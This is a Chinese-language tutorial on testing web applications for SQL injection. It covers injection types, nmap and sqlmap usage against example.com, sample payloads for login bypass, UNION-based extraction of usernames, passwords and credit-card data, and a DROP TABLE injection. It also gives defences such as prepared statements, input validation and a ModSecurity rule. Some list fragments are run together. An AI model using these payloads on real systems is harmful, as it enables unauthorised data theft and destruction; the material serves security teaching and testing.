简介:本文深入解析SQL注入测评的核心方法,涵盖漏洞原理、工具使用、攻击模拟及防御策略,提供可复用的测评流程与实战案例,帮助开发者系统掌握SQL注入风险评估与修复技能。
SQL注入(SQL Injection)是Web应用中最常见的安全漏洞之一,其本质是攻击者通过构造恶意SQL语句,篡改数据库查询逻辑,从而获取、修改或删除敏感数据。根据OWASP Top 10 2021报告,SQL注入长期占据高危漏洞榜单前三,其危害包括数据泄露、权限提升甚至系统瘫痪。
SQL注入的核心成因是未对用户输入进行安全过滤,直接将其拼接到SQL语句中。根据攻击方式,可分为:
' OR 1=1 --)。AND 1=1与AND 1=2)。SLEEP(5))推断数据。UNION SELECT获取其他表数据(需已知列数)。; DROP TABLE users --)。测评时需从以下维度量化风险:
sqlmap -u "http://example.com/login.php?id=1" --level=5 --risk=3
信息收集:
nmap扫描开放端口和服务:
nmap -sV -p 80,443,3306 example.com
注入点发现:
X-Forwarded-For)。
' OR '1'='1" AND 1=CONVERT(int, (SELECT version())) --
漏洞验证:
SQLMap的--batch模式自动验证:
sqlmap -u "http://example.com/search?q=test" --batch
数据提取:
UNION SELECT获取表名和列名:
' UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=database() --
' UNION SELECT username, password FROM users --
报告编写:
漏洞:登录接口存在基于错误的SQL注入。复现:输入`admin' AND 1=CONVERT(int, (SELECT password FROM users WHERE username='admin')) --`,页面返回数据库错误。修复:使用参数化查询(如PDO预处理语句)。
参数化查询(Prepared Statements):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");$stmt->execute([$username]);
String query = "SELECT * FROM users WHERE id = ?";PreparedStatement stmt = connection.prepareStatement(query);stmt.setInt(1, userId);
输入验证:
if (!ctype_digit($id)) {die("Invalid input");}
SecRule ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_COOKIES_NAMES "(\'|\")\s*(or|and)\s*(\d+|'[^']*')" \"id:90001,phase:2,block,t:none,msg:'SQL Injection Attack'"
SELECT而非DROP)。admin' --作为用户名。
SELECT * FROM users WHERE username = 'admin' --'
%df'可逃逸单引号)。magic_quotes_gpc已废弃)。keyword参数。' UNION SELECT credit_card FROM orders --。通过系统化的测评与防御,可显著降低SQL注入风险,保障企业数据安全。